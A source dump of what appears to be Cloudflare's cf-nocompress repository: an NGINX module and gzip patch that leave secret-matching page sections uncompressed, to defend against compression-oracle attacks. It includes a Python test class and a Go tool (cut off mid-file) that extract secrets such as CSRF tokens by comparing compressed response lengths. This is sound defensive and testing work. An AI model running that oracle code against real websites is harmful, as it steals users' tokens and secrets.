├── .gitignore ├── cf-nocompress ├── tests │ ├── t │ │ └── expected │ │ │ ├── secret │ │ │ ├── start │ │ │ ├── hello_world_start │ │ │ ├── hello │ │ │ ├── a │ │ │ └── hello_world_repeat │ ├── breach.py │ ├── test_compression.py │ ├── nginx.conf │ └── simple_env.py ├── src │ ├── cf_nocompress_module.h │ ├── cf_nocompress_parse.h │ ├── cf_nocompress_flag.h │ ├── cf_nocompress_out.h │ ├── cf_nocompress_flag.c │ ├── cf_nocompress_util.h │ ├── cf_nocompress_conf.h │ ├── cf_nocompress_ctx.h │ ├── ddebug.h │ ├── cf_nocompress_out.c │ ├── cf_nocompress_conf.c │ ├── cf_nocompress_util.c │ ├── cf_nocompress_module.c │ └── cf_nocompress_parse.c ├── lua │ └── cf_nocompress.lua ├── README.md └── config ├── example_attack ├── README.md └── src │ └── main │ └── main.go ├── README.md ├── .github └── workflows │ └── semgrep.yml ├── LICENSE └── nginx.patch /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | bin/ 3 | tests/nginx.conf -------------------------------------------------------------------------------- /cf-nocompress/tests/t/expected/secret: -------------------------------------------------------------------------------- 1 | Hello,world! My secret is 12345 2 | -------------------------------------------------------------------------------- /cf-nocompress/tests/t/expected/start: -------------------------------------------------------------------------------- 1 | DOGDOGDOGHELLOWORLDHELLOWORLDHELLOWORLD -------------------------------------------------------------------------------- /cf-nocompress/tests/t/expected/hello_world_start: -------------------------------------------------------------------------------- 1 | DOGDOGDOGHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLD -------------------------------------------------------------------------------- /cf-nocompress/tests/t/expected/hello: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHELLOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------------------------------------------------------------------------------- /cf-nocompress/tests/t/expected/a: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_module.h: -------------------------------------------------------------------------------- 1 | #ifndef _cf_nocompress_module_H_INCLUDED_ 2 | #define _cf_nocompress_module_H_INCLUDED_ 3 | #include "cf_nocompress_ctx.h" 4 | 5 | extern ngx_module_t cf_nocompress_module; 6 | 7 | #endif -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_parse.h: -------------------------------------------------------------------------------- 1 | #ifndef _cf_nocompress_PARSE_H_INCLUDED_ 2 | #define _cf_nocompress_PARSE_H_INCLUDED_ 3 | #include "cf_nocompress_ctx.h" 4 | 5 | ngx_int_t cf_nocompress_parse(ngx_http_request_t *r, 6 | cf_nocompress_ctx_t *ctx, ngx_chain_t *rematch); 7 | 8 | #endif -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_flag.h: -------------------------------------------------------------------------------- 1 | #ifndef _cf_nocompress_flag_H_INCLUDED_ 2 | #define _cf_nocompress_flag_H_INCLUDED_ 3 | #include "cf_nocompress_module.h" 4 | 5 | /** 6 | * Flagging a buffer marks it to not be compressed 7 | */ 8 | ngx_int_t cf_nocompress_flag(cf_nocompress_ctx_t *ctx, 9 | ngx_buf_t *buf); 10 | 11 | #endif -------------------------------------------------------------------------------- /example_attack/README.md: -------------------------------------------------------------------------------- 1 | # Example Attack 2 | 3 | This folder contains a small Go program which can be used to verify whether a webpage is vulnerable to the attack. 4 | 5 | # Usage 6 | 7 | To use the tool you provide the URL of the service and the start of the query string which an be used as an oracle. For example, the command `./attack "https://compression.website/unsafe/my_token?TK"` will extract the CSRF of our sample website. -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_out.h: -------------------------------------------------------------------------------- 1 | #ifndef _cf_nocompress_OUT_H_INCLUDED_ 2 | #define _cf_nocompress_OUT_H_INCLUDED_ 3 | #include "cf_nocompress_ctx.h" 4 | 5 | /** 6 | * Add cl to ctx->out 7 | */ 8 | inline void cf_nocompress_out(cf_nocompress_ctx_t *ctx, 9 | ngx_chain_t *cl); 10 | 11 | /** 12 | * Write ctx->out to the next filter & cleanup 13 | */ 14 | ngx_int_t cf_nocompress_flush_out(ngx_http_request_t *r, 15 | cf_nocompress_ctx_t *ctx); 16 | 17 | #endif -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_flag.c: -------------------------------------------------------------------------------- 1 | #include "cf_nocompress_flag.h" 2 | 3 | #ifndef DDEBUG 4 | #define DDEBUG 0 5 | #endif 6 | #include "ddebug.h" 7 | 8 | ngx_int_t cf_nocompress_flag(cf_nocompress_ctx_t *ctx, 9 | ngx_buf_t *buf) { 10 | 11 | void **new_index; 12 | 13 | dd("call into flag"); 14 | 15 | new_index = (void**) ngx_array_push(ctx->indices); 16 | 17 | if (new_index == NULL) { 18 | return NGX_ERROR; 19 | } 20 | 21 | *new_index = buf; 22 | 23 | dd("flagged buffer"); 24 | 25 | return NGX_OK; 26 | } -------------------------------------------------------------------------------- /cf-nocompress/lua/cf_nocompress.lua: -------------------------------------------------------------------------------- 1 | local ffi = require('ffi') 2 | local C = ffi.C 3 | local _M = {} 4 | 5 | ffi.cdef[[ 6 | void cf_nocompress_set_enabled(void*, unsigned); 7 | ]] 8 | 9 | function _M.enable(val) 10 | local r = getfenv(0).__ngx_req 11 | 12 | if not r then 13 | return error("no request found") 14 | end 15 | 16 | if val == true then 17 | C.cf_nocompress_set_enabled(r, 1); 18 | else 19 | C.cf_nocompress_set_enabled(r, 0); 20 | end 21 | end 22 | 23 | return _M 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # cf-nocompress 2 | 3 | The repository contains a proof of concept mitigation for compression oracle attacks as detailed [here](https://blog.cloudflare.com/a-solution-to-compression-oracles-on-the-web/). The repository is split into two folders. The first, cf-nocompress, contains an NGINX plugin that uses selective compression to mitigate such attacks. The second, example_attack, is a tool which can verify if a website is vulnerable to the attack. 4 | 5 | The websites https://compression.website/ and https://compression.website/unsafe/ demonstrate this mitigation in action. -------------------------------------------------------------------------------- /.github/workflows/semgrep.yml: -------------------------------------------------------------------------------- 1 | 2 | on: 3 | pull_request: {} 4 | workflow_dispatch: {} 5 | push: 6 | branches: 7 | - main 8 | - master 9 | schedule: 10 | - cron: '0 0 * * *' 11 | name: Semgrep config 12 | jobs: 13 | semgrep: 14 | name: semgrep/ci 15 | runs-on: ubuntu-20.04 16 | env: 17 | SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }} 18 | SEMGREP_URL: https://cloudflare.semgrep.dev 19 | SEMGREP_APP_URL: https://cloudflare.semgrep.dev 20 | SEMGREP_VERSION_CHECK_URL: https://cloudflare.semgrep.dev/api/check-version 21 | container: 22 | image: returntocorp/semgrep 23 | steps: 24 | - uses: actions/checkout@v3 25 | - run: semgrep ci 26 | -------------------------------------------------------------------------------- /cf-nocompress/README.md: -------------------------------------------------------------------------------- 1 | # Installation instructions 2 | 3 | The use of this module requires a small patch to NGINX. Once the patch is applied NGINX can be recompiled with the module using `--add-module=/path/to/cf-nocompress/`. 4 | 5 | # Configuration 6 | 7 | A regular expression is required to act as an identifier for confidential sections of a webpage. The cf_no_compress directive can be used to specify such regular expressions. Only classical regular expressions can be used, backreferences are unsupported. 8 | 9 | # Sample Configuration 10 | 11 | Below is a sample NGINX configuration 12 | 13 | ``` 14 | location /my_token { 15 | gzip on; 16 | default_type text/html; 17 | cf_no_compress 'TK[0-9A-F]+'; 18 | content_by_lua ' 19 | local str = require "resty.string" 20 | ngx.say("...") 21 | '; 22 | } 23 | 24 | ``` -------------------------------------------------------------------------------- /cf-nocompress/tests/t/expected/hello_world_repeat: -------------------------------------------------------------------------------- 1 | HELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDDOGDOGDOGHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLD -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_util.h: -------------------------------------------------------------------------------- 1 | #ifndef _cf_nocompress_UTIL_H_INCLUDED_ 2 | #define _cf_nocompress_UTIL_H_INCLUDED_ 3 | 4 | #include "cf_nocompress_module.h" 5 | 6 | /** 7 | * Grab a new chain 8 | */ 9 | ngx_chain_t * cf_nocompress_chain(ngx_pool_t *p, ngx_chain_t **free); 10 | 11 | /** 12 | * Splits buffers in a chain at a given split index 13 | * Sets pa and plast_a to the chain before split 14 | * Sets pb and plast_b to the chain after split 15 | * If b_sane is set then a new chain is allocated which starts exactly at split 16 | * If pb and plast_b are NULL then split does not exist in pa 17 | */ 18 | ngx_int_t cf_nocompress_split(ngx_http_request_t *r, 19 | cf_nocompress_ctx_t *ctx, 20 | ngx_chain_t **pa, 21 | ngx_chain_t ***plast_a, 22 | sre_int_t split, 23 | ngx_chain_t **pb, 24 | ngx_chain_t ***plast_b, 25 | unsigned b_sane); 26 | 27 | /** 28 | * Create a new pending chain (holds pending data until 29 | * it has failed regex checks) & allocate memory for it 30 | */ 31 | ngx_int_t cf_nocompress_pending(ngx_http_request_t *r, 32 | cf_nocompress_ctx_t *ctx, 33 | sre_int_t from, 34 | sre_int_t to, 35 | ngx_chain_t **out); 36 | 37 | #endif -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_conf.h: -------------------------------------------------------------------------------- 1 | #ifndef _cf_nocompress_CONF_H_INCLUDED_ 2 | #define _cf_nocompress_CONF_H_INCLUDED_ 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | typedef struct { 9 | sre_pool_t *compiler_pool; 10 | } cf_nocompress_main_conf_t; 11 | 12 | typedef struct { 13 | sre_uint_t ncaps; 14 | size_t ovecsize; 15 | 16 | ngx_array_t regexes; /* of u_char* */ 17 | ngx_array_t multi_flags; /* of int */ 18 | 19 | sre_program_t *program; 20 | 21 | ngx_hash_t types; 22 | ngx_array_t *types_keys; 23 | 24 | unsigned enabled:1; 25 | } cf_nocompress_loc_conf_t; 26 | 27 | 28 | void* cf_nocompress_create_main_conf(ngx_conf_t *cf); 29 | void* cf_nocompress_create_loc_conf(ngx_conf_t *cf); 30 | 31 | /** 32 | * This will compile all regex rules parsed into a single RE of alternations 33 | * Ex: 34 | * nocompress: abc 35 | * nocompress: d 36 | * result: (abc)|(d) 37 | */ 38 | char* cf_nocompress_merge_loc_conf(ngx_conf_t *cf, void *parent, void *child); 39 | 40 | #endif -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Cloudflare 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_ctx.h: -------------------------------------------------------------------------------- 1 | #ifndef _cf_nocompress_CTX_H_INCLUDED_ 2 | #define _cf_nocompress_CTX_H_INCLUDED_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | typedef struct { 10 | 11 | sre_int_t regex_id; 12 | sre_int_t stream_pos; 13 | sre_int_t *ovector; 14 | sre_pool_t *vm_pool; 15 | sre_vm_pike_ctx_t *vm_ctx; 16 | 17 | /* Pending data before the match */ 18 | ngx_chain_t *pending; 19 | ngx_chain_t **last_pending; 20 | 21 | /* Pending data after the match */ 22 | ngx_chain_t *pending2; 23 | ngx_chain_t **last_pending2; 24 | 25 | ngx_buf_t *buf; 26 | 27 | ngx_str_t *sub; 28 | 29 | u_char *pos; 30 | 31 | u_char *copy_start; 32 | u_char *copy_end; 33 | u_char *match_start; 34 | u_char *match_end; 35 | 36 | ngx_chain_t *in; 37 | ngx_chain_t *out; 38 | ngx_chain_t **last_out; 39 | ngx_chain_t *busy; 40 | ngx_chain_t *free; 41 | ngx_chain_t *special; 42 | ngx_chain_t **last_special; 43 | ngx_chain_t *rematch; 44 | ngx_chain_t *captured; 45 | ngx_chain_t **last_captured; 46 | uint8_t *disabled; 47 | sre_uint_t disabled_count; 48 | 49 | size_t total_buffered; 50 | 51 | unsigned vm_done:1; 52 | unsigned special_buf:1; 53 | unsigned last_buf:1; 54 | 55 | ngx_array_t *indices; 56 | } cf_nocompress_ctx_t; 57 | 58 | #endif -------------------------------------------------------------------------------- /cf-nocompress/config: -------------------------------------------------------------------------------- 1 | ngx_feature="cf_nocompress" 2 | ngx_feature_libs="-lsregex" 3 | ngx_feature_incs="#include " 4 | ngx_feature_test="sre_regex_t *re; 5 | sre_program_t *prog; 6 | sre_pool_t *pool; 7 | u_char s[] = {'a', 'b', 'c'}; 8 | sre_int_t rc, err_offset, ovector; 9 | sre_int_t *pending_matched; 10 | sre_uint_t ncaps; 11 | sre_vm_pike_ctx_t *pctx; 12 | pool = sre_create_pool(1024); 13 | re = sre_regex_parse(pool, s, &ncaps, 0, &err_offset); 14 | prog = sre_regex_compile(pool, re); 15 | pctx = sre_vm_pike_create_ctx(pool, prog, &ovector, 0); 16 | rc = sre_vm_pike_exec(pctx, s, 32, 1, &pending_matched); 17 | sre_destroy_pool(pool)" 18 | 19 | NOCOMPRESS_FILTER_SRCS="$ngx_addon_dir/src/cf_nocompress_module.c \ 20 | $ngx_addon_dir/src/cf_nocompress_flag.c \ 21 | $ngx_addon_dir/src/cf_nocompress_parse.c \ 22 | $ngx_addon_dir/src/cf_nocompress_out.c \ 23 | $ngx_addon_dir/src/cf_nocompress_conf.c \ 24 | $ngx_addon_dir/src/cf_nocompress_util.c" 25 | 26 | NOCOMPRESS_FILTER_DEPS="$ngx_addon_dir/src/cf_nocompress_module.h \ 27 | $ngx_addon_dir/src/cf_nocompress_flag.h \ 28 | $ngx_addon_dir/src/cf_nocompress_parse.h \ 29 | $ngx_addon_dir/src/cf_nocompress_out.h \ 30 | $ngx_addon_dir/src/cf_nocompress_conf.h \ 31 | $ngx_addon_dir/src/cf_nocompress_ctx.h \ 32 | $ngx_addon_dir/src/cf_nocompress_util.h" 33 | 34 | HTTP_INCS="$HTTP_INCS $ngx_addon_dir/src/" 35 | CORE_INCS="$CORE_INCS $ngx_addon_dir/src/" 36 | CORE_LIBS="$CORE_LIBS $ngx_feature_libs" 37 | 38 | NGX_ADDON_SRCS="$NGX_ADDON_SRCS $NOCOMPRESS_FILTER_SRCS" 39 | NGX_ADDON_DEPS="$NGX_ADDON_DEPS $NOCOMPRESS_FILTER_DEPS" 40 | 41 | HTTP_AUX_FILTER_MODULES="$HTTP_AUX_FILTER_MODULES cf_nocompress_module" 42 | 43 | have=CF_NOCOMPRESS_MODULE . auto/have -------------------------------------------------------------------------------- /cf-nocompress/tests/breach.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | import urllib2 6 | 7 | from ngxtest import unit 8 | from difflib import unified_diff 9 | from json import loads 10 | from urllib2 import HTTPError 11 | 12 | import simple_env 13 | import unittest 14 | import ssl 15 | import random 16 | 17 | ctx = ssl.create_default_context() 18 | ctx.check_hostname = False 19 | ctx.verify_mode = ssl.CERT_NONE 20 | 21 | class Breacher(): 22 | 23 | def __init__(self, l1, l2): 24 | self.l1 = l1 25 | self.l2 = l2 26 | 27 | def get_url(self, name): 28 | req = urllib2.Request(name) 29 | req.add_header('Accept-encoding', 'gzip') 30 | f = urllib2.urlopen(req, context=ctx) 31 | return f.read() 32 | 33 | def make_guess(self, url, guess): 34 | padding = "" 35 | 36 | for i in range(0, self.padding): 37 | padding += "{}" 38 | 39 | req1 = self.get_url(url + guess + padding) 40 | req2 = self.get_url(url + padding + guess) 41 | 42 | if len(req1) < len(req2): 43 | return len(req1) 44 | else: 45 | return None 46 | 47 | def changePadding(self): 48 | self.padding = random.randint(2, 70) 49 | 50 | def go(self, url, maxRounds, maxChars): 51 | good = "" 52 | self.padding = 40; 53 | roundWinner = None 54 | 55 | for attempt in range(0, maxRounds): 56 | 57 | conflict = False 58 | 59 | lhA = self.make_guess(url, good + self.l1) 60 | lhZ = self.make_guess(url, good + self.l2) 61 | 62 | if lhA != None and lhZ != None: 63 | if lhA < lhZ: 64 | roundWinner = self.l1 65 | else: 66 | roundWinner = self.l2 67 | elif lhA != None: 68 | roundWinner = self.l1 69 | elif lhZ != None: 70 | roundWinner = self.l2 71 | 72 | if roundWinner == None: 73 | self.changePadding() 74 | elif roundWinner != None: 75 | good += roundWinner 76 | 77 | if len(good) >= maxChars: 78 | return good 79 | 80 | return good -------------------------------------------------------------------------------- /nginx.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/http/modules/ngx_http_gzip_filter_module.c b/src/http/modules/ngx_http_gzip_filter_module.c 2 | index c94b12f..20b4d01 100644 3 | --- a/src/http/modules/ngx_http_gzip_filter_module.c 4 | +++ b/src/http/modules/ngx_http_gzip_filter_module.c 5 | @@ -9,6 +9,13 @@ 6 | #include 7 | #include 8 | 9 | +/** 10 | + * Only enable cf_nocompress additions if compiling with cf_nocompress module 11 | + */ 12 | +#ifdef CF_NOCOMPRESS_MODULE 13 | +#include 14 | +#endif //CF_NOCOMPRESS_MODULE 15 | + 16 | #include 17 | 18 | 19 | @@ -60,6 +67,11 @@ typedef struct { 20 | unsigned gzheader:1; 21 | unsigned buffering:1; 22 | 23 | + 24 | +#ifdef CF_NOCOMPRESS_MODULE 25 | + unsigned no_compress_mode:1; 26 | +#endif //CF_NOCOMPRESS_MODULE 27 | + 28 | size_t zin; 29 | size_t zout; 30 | 31 | @@ -716,6 +728,30 @@ ngx_http_gzip_filter_gzheader(ngx_http_request_t *r, ngx_http_gzip_ctx_t *ctx) 32 | } 33 | 34 | 35 | +#ifdef CF_NOCOMPRESS_MODULE 36 | + 37 | +static ngx_int_t 38 | +ngx_http_gzip_can_compress(ngx_http_gzip_ctx_t *ctx, cf_nocompress_ctx_t* ncctx) { 39 | + unsigned int i; 40 | + void* cur; 41 | + 42 | + if (ncctx == NULL || ncctx->indices == NULL) { 43 | + return 1; 44 | + } 45 | + 46 | + for (i = 0; i < ncctx->indices->nelts; i++) { 47 | + cur = ((void**)ncctx->indices->elts)[i]; 48 | + if (cur == ctx->in->buf) { 49 | + return 0; 50 | + } 51 | + } 52 | + 53 | + return 1; 54 | +} 55 | + 56 | +#endif //CF_NOCOMPRESS_MODULE 57 | + 58 | + 59 | static ngx_int_t 60 | ngx_http_gzip_filter_add_data(ngx_http_request_t *r, ngx_http_gzip_ctx_t *ctx) 61 | { 62 | @@ -730,6 +766,29 @@ ngx_http_gzip_filter_add_data(ngx_http_request_t *r, ngx_http_gzip_ctx_t *ctx) 63 | return NGX_DECLINED; 64 | } 65 | 66 | + 67 | + #ifdef CF_NOCOMPRESS_MODULE 68 | + 69 | + /* Defined here to avoid needing to change code if module is disabled */ 70 | + ngx_http_gzip_conf_t *conf = ngx_http_get_module_loc_conf(r, ngx_http_gzip_filter_module); 71 | + cf_nocompress_ctx_t* ncctx = ngx_http_get_module_ctx(r, cf_nocompress_module); 72 | + 73 | + if (!ngx_http_gzip_can_compress(ctx, ncctx) && ctx->no_compress_mode == 0) { 74 | + deflateParams(&ctx->zstream, Z_NO_COMPRESSION, Z_DEFAULT_STRATEGY); 75 | + ctx->flush = Z_SYNC_FLUSH; 76 | + ctx->no_compress_mode = 1; 77 | + return NGX_OK; 78 | + } 79 | + 80 | + if (ctx->no_compress_mode == 1&& ngx_http_gzip_can_compress(ctx, ncctx)) { 81 | + deflateParams(&ctx->zstream, (int) conf->level, Z_DEFAULT_STRATEGY); 82 | + ctx->flush = Z_SYNC_FLUSH; 83 | + ctx->no_compress_mode = 0; 84 | + return NGX_OK; 85 | + } 86 | + 87 | + #endif //CF_NOCOMPRESS_MODULE 88 | + 89 | if (ctx->copy_buf) { 90 | 91 | /* 92 | -------------------------------------------------------------------------------- /cf-nocompress/src/ddebug.h: -------------------------------------------------------------------------------- 1 | #ifndef DDEBUG_H 2 | #define DDEBUG_H 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | #if defined(DDEBUG) && (DDEBUG) 11 | 12 | # if (NGX_HAVE_VARIADIC_MACROS) 13 | 14 | # define dd(...) fprintf(stderr, "nocompress_filter *** %s: ", __func__); \ 15 | fprintf(stderr, __VA_ARGS__); \ 16 | fprintf(stderr, " at %s line %d.\n", __FILE__, __LINE__) 17 | 18 | # else 19 | 20 | #include 21 | #include 22 | 23 | #include 24 | 25 | static void dd(const char * fmt, ...) { 26 | } 27 | 28 | # endif 29 | 30 | # if DDEBUG > 1 31 | 32 | # define dd_enter() dd_enter_helper(r, __func__) 33 | 34 | static void dd_enter_helper(ngx_http_request_t *r, const char *func) { 35 | ngx_http_posted_request_t *pr; 36 | 37 | fprintf(stderr, ">enter %s %.*s %.*s?%.*s c:%d m:%p r:%p ar:%p pr:%p", 38 | func, 39 | (int) r->method_name.len, r->method_name.data, 40 | (int) r->uri.len, r->uri.data, 41 | (int) r->args.len, r->args.data, 42 | 0/*(int) r->main->count*/, r->main, 43 | r, r->connection->data, r->parent); 44 | 45 | if (r->posted_requests) { 46 | fprintf(stderr, " posted:"); 47 | 48 | for (pr = r->posted_requests; pr; pr = pr->next) { 49 | fprintf(stderr, "%p,", pr); 50 | } 51 | } 52 | 53 | fprintf(stderr, "\n"); 54 | } 55 | 56 | # else 57 | 58 | # define dd_enter() 59 | 60 | # endif 61 | 62 | #else 63 | 64 | # if (NGX_HAVE_VARIADIC_MACROS) 65 | 66 | # define dd(...) 67 | 68 | # define dd_enter() 69 | 70 | # else 71 | 72 | #include 73 | 74 | static void dd(const char * fmt, ...) { 75 | } 76 | 77 | static void dd_enter() { 78 | } 79 | 80 | # endif 81 | 82 | #endif 83 | 84 | #if defined(DDEBUG) && (DDEBUG) 85 | 86 | #define dd_check_read_event_handler(r) \ 87 | dd("r->read_event_handler = %s", \ 88 | r->read_event_handler == ngx_http_block_reading ? \ 89 | "ngx_http_block_reading" : \ 90 | r->read_event_handler == ngx_http_test_reading ? \ 91 | "ngx_http_test_reading" : \ 92 | r->read_event_handler == ngx_http_request_empty_handler ? \ 93 | "ngx_http_request_empty_handler" : "UNKNOWN") 94 | 95 | #define dd_check_write_event_handler(r) \ 96 | dd("r->write_event_handler = %s", \ 97 | r->write_event_handler == ngx_http_handler ? \ 98 | "ngx_http_handler" : \ 99 | r->write_event_handler == ngx_http_core_run_phases ? \ 100 | "ngx_http_core_run_phases" : \ 101 | r->write_event_handler == ngx_http_request_empty_handler ? \ 102 | "ngx_http_request_empty_handler" : "UNKNOWN") 103 | 104 | #else 105 | 106 | #define dd_check_read_event_handler(r) 107 | #define dd_check_write_event_handler(r) 108 | 109 | #endif 110 | 111 | #endif /* DDEBUG_H */ 112 | 113 | -------------------------------------------------------------------------------- /cf-nocompress/src/cf_nocompress_out.c: -------------------------------------------------------------------------------- 1 | #include "cf_nocompress_out.h" 2 | 3 | extern ngx_module_t cf_nocompress_module; 4 | extern ngx_http_output_body_filter_pt ngx_http_next_body_filter; 5 | 6 | static inline void 7 | cf_nocompress_clear_out(cf_nocompress_ctx_t *ctx) { 8 | ctx->out = NULL; 9 | ctx->last_out = &ctx->out; 10 | } 11 | 12 | static inline void 13 | cf_nocompress_list_append(ngx_chain_t **to, ngx_chain_t *ref) { 14 | ngx_chain_t *cl; 15 | 16 | if (*to == NULL) { 17 | *to = ref; 18 | } else { 19 | for (cl = *to; cl->next; cl = cl->next) {} 20 | cl->next = ref; 21 | } 22 | } 23 | 24 | static inline void 25 | cf_nocompress_clear_busy(ngx_http_request_t *r, cf_nocompress_ctx_t *ctx) { 26 | ngx_buf_t *b; 27 | ngx_chain_t *cl; 28 | 29 | while (ctx->busy) { 30 | 31 | cl = ctx->busy; 32 | b = cl->buf; 33 | 34 | if (ngx_buf_size(b) != 0) { 35 | break; 36 | } 37 | 38 | if (b->tag != (ngx_buf_tag_t) &cf_nocompress_module) { 39 | ctx->busy = cl->next; 40 | ngx_free_chain(r->pool, cl); 41 | } else { 42 | 43 | if (b->shadow) { 44 | b->shadow->pos = b->shadow->last; 45 | b->shadow->file_pos = b->shadow->file_last; 46 | } 47 | 48 | ctx->busy = cl->next; 49 | 50 | if (ngx_buf_special(b)) { 51 | 52 | /* collect special bufs to ctx->special 53 | * as which may still be busy 54 | */ 55 | 56 | cl->next = NULL; 57 | *ctx->last_special = cl; 58 | ctx->last_special = &cl->next; 59 | } else { 60 | 61 | /* add ctx->special to ctx->free because they cannot be busy at 62 | * this point */ 63 | *ctx->last_special = ctx->free; 64 | ctx->free = ctx->special; 65 | ctx->special = NULL; 66 | ctx->last_special = &ctx->special; 67 | 68 | /* add the data buf itself to the free buf chain */ 69 | cl->next = ctx->free; 70 | ctx->free = cl; 71 | } 72 | } 73 | } 74 | } 75 | 76 | ngx_int_t cf_nocompress_flush_out(ngx_http_request_t *r, 77 | cf_nocompress_ctx_t *ctx) { 78 | 79 | ngx_int_t rc; 80 | 81 | /* Short circuit when there is nothing to flush */ 82 | if (ctx->out == NULL && ctx->busy == NULL) { 83 | return NGX_OK; 84 | } 85 | 86 | rc = ngx_http_next_body_filter(r, ctx->out); 87 | 88 | /* Add ctx->out to ctx->busy and clear out */ 89 | cf_nocompress_list_append(&ctx->busy, ctx->out); 90 | cf_nocompress_clear_out(ctx); 91 | cf_nocompress_clear_busy(r, ctx); 92 | 93 | if (ctx->in || ctx->buf) { 94 | r->buffered |= NGX_HTTP_SUB_BUFFERED; 95 | } else { 96 | r->buffered &= ~NGX_HTTP_SUB_BUFFERED; 97 | } 98 | 99 | return rc; 100 | } 101 | 102 | void cf_nocompress_out(cf_nocompress_ctx_t *ctx, ngx_chain_t *cl) { 103 | cl->next = NULL; 104 | *ctx->last_out = cl; 105 | ctx->last_out = &cl->next; 106 | } -------------------------------------------------------------------------------- /example_attack/src/main/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "log" 7 | "math/rand" 8 | "time" 9 | "net/http" 10 | "os" 11 | ) 12 | 13 | const PAD_MIN = 1; 14 | const PAD_MAX = 60; 15 | const BADROUND_MAX = 3; 16 | 17 | var currentPadding = 10; 18 | 19 | var tr = &http.Transport{ 20 | MaxIdleConns: 10, 21 | IdleConnTimeout: 30 * time.Second, 22 | DisableCompression: true, 23 | } 24 | 25 | var client = &http.Client{Transport: tr} 26 | 27 | /** 28 | * Return the ContentLength of a request (NOTE: Requires hacked STL to set ContentLength on compressed messages) 29 | */ 30 | func Get(url string) (int, error) { 31 | 32 | request, err := http.NewRequest("GET", url, nil) 33 | request.Header.Add("Accept-Encoding", "gzip") 34 | 35 | response, err := client.Do(request) 36 | 37 | if err != nil { 38 | fmt.Printf("%s", err) 39 | log.Fatal(err) 40 | } 41 | 42 | b, err := ioutil.ReadAll(response.Body) 43 | 44 | if err != nil { 45 | log.Fatal(err) 46 | } 47 | 48 | response.Body.Close() 49 | 50 | return len(b), nil; 51 | } 52 | 53 | /** 54 | * Makes two requests x + PADDING and 